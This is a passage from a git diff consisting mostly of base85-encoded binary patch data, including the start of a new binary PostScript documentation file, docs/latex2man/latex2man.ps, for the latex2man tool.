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%0APDJ&4mCu0$^MS0SpBQ z^)M2I044%pf)oN+2!Jss1h5f65G4v);UIuGQZ4|nW89%xe~5uGI;g@D0ss}&5t1r^ z0IhVv7cZhpKr9`*9=R6{qE=wgqB4kFfftJ)h+aW=A%q~F;iDBW4Iu!q&;&z^5CBMM z*nL={5`cpy@D*VR;F*SfOCl-(JkxlXe+Wwe&on{IBn0q)4nc56kq_d#1bh1VA~^^} z+Y13f@Pxwbg(0=Uj#P|d5fE`9l$QvE_z;pH0wGQa*pNI3xR3@3bO1kG0th$~u`EIl zJc*bN3UL-e*@!QOh&UV^xMPdZ;$A=vkzwL70iRqEx#BedE}S*U<0^m<1hWW`vUqur z1Z>_Fh)^63;()I+$Z(JeHeCh<6s`EDjeT z6HN59or0ab{oK(w1asTIsjO&L1rXt=A?TdwqR|MIH}-SoQ&g>j_`RhiRZaZ)zFL@f zfPD-4!oF^kj?F7X6ljG6d-w&)E2v`KJ^Zu?ab5$S1y9<6e5YV|XXIqbx23H04ECUS zg!}UY1L2z_e3??eght%2ZT ziU>d5V!C)jL!9YVK7+56<20b(OLX`na^@X?VO zi^JfVj!caRgG?a-#^ItKT)Z5@hmJoGhru%)4XOkfgVY9%$|1r48JHHiE*h|i_|P|x zI2hnV^Br**j6po)a^f&}W}^O{2t$)991JpIs2dlDA$%yB5{JPvs~?(KsQ<*31AHh& zAPxh3+n0I1KP{P)IHggJ%v(%n)HDo20R6D4Gy22l&`5 z0?qKAOVk^Jk#t1k!F@3#d@M9?7HuBJ3=~ZgVI;jVAT>y67w}P02t%mL?1yG1n#la#5Mq5KjRx6%esr#g<*k79#@%Ml3f8lq8&h87D>Ml3J~oSx;2@L@#kIkOK9OJtG!7exA(Z1V zNcIfnPy~j@#{s7y=n@(wkJB9J!iep%!S#vw*kD5BatxB)v)N3v4ua#2#ioQw+rD0m*o2pnvs2rMJ4J3 z>XPFZ7(w=(3{RT|vh`x_PDU_YTwF|vCiC;FC-2buJ0>}wPAmtTu?YSFVF{LK!qo*6BH9&|4e} zSl~#+atszJ_JPoXWRq+(+a=Ux@uRH=sAZwN22L(CHnt544}&3q zSQi$cNpT_!Z=|^-Or%Kd!fk>?e!+hs!XnTDJvOnAfLNJqe~^tN#?MfWP8?GpE+)rU zbPl?X5ibMi!AO2d=deh&3+7CU%~;?dM47U<@R!&IsEAmO&SR2dDX=t>4bgcl;(U;b z%#_dRohZyUj_#Q1|;B?LaWfJWfV5I((L1*+s3xmWPi~uBifgu^CK=JLe zNU;DFwsetn1j8V4jE8byMFe~-=<0}aX2SOYKyUX)ex%lo3%!5N)6=tGJxuDpr_<;bBzBWe{b6Qcy%)g0YaseHhM} zXssUK27E(D81ra!28$R+0E|ZLuV^sSAle$hu-r7R4bVB!?jdr7#3O+gHV6AI3Rf4z zg4PJ|Fc?#ad_Z(h%ze=~U;UFRq#OlGEs^j+>Wd^7aC5W_g`*i#ZbUnP;gUs^6=XMHl*iWv7@HWwAsEpI0fx%~ z1P3~Kdh-J%)z#tBWzThdEP1VJ?&pU-e*=EecTNVrZhr6^P>cPhL$On*YcZKrh8Bmz z)~2(T=;*Svn5?B-Ef$@sP1mL`rD{_C?;>bDL^231hhlki7+xSyk(86uHCZb8{{Sur BB+dW; literal 0 HcmV?d00001 diff --git a/docs/latex2man/latex2man.ps b/docs/latex2man/latex2man.ps new file mode 100644 index 0000000000000000000000000000000000000000..8d0bd3078047de638b80a5b2e297a8ecfb50e4c4 GIT binary patch literal 355977 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 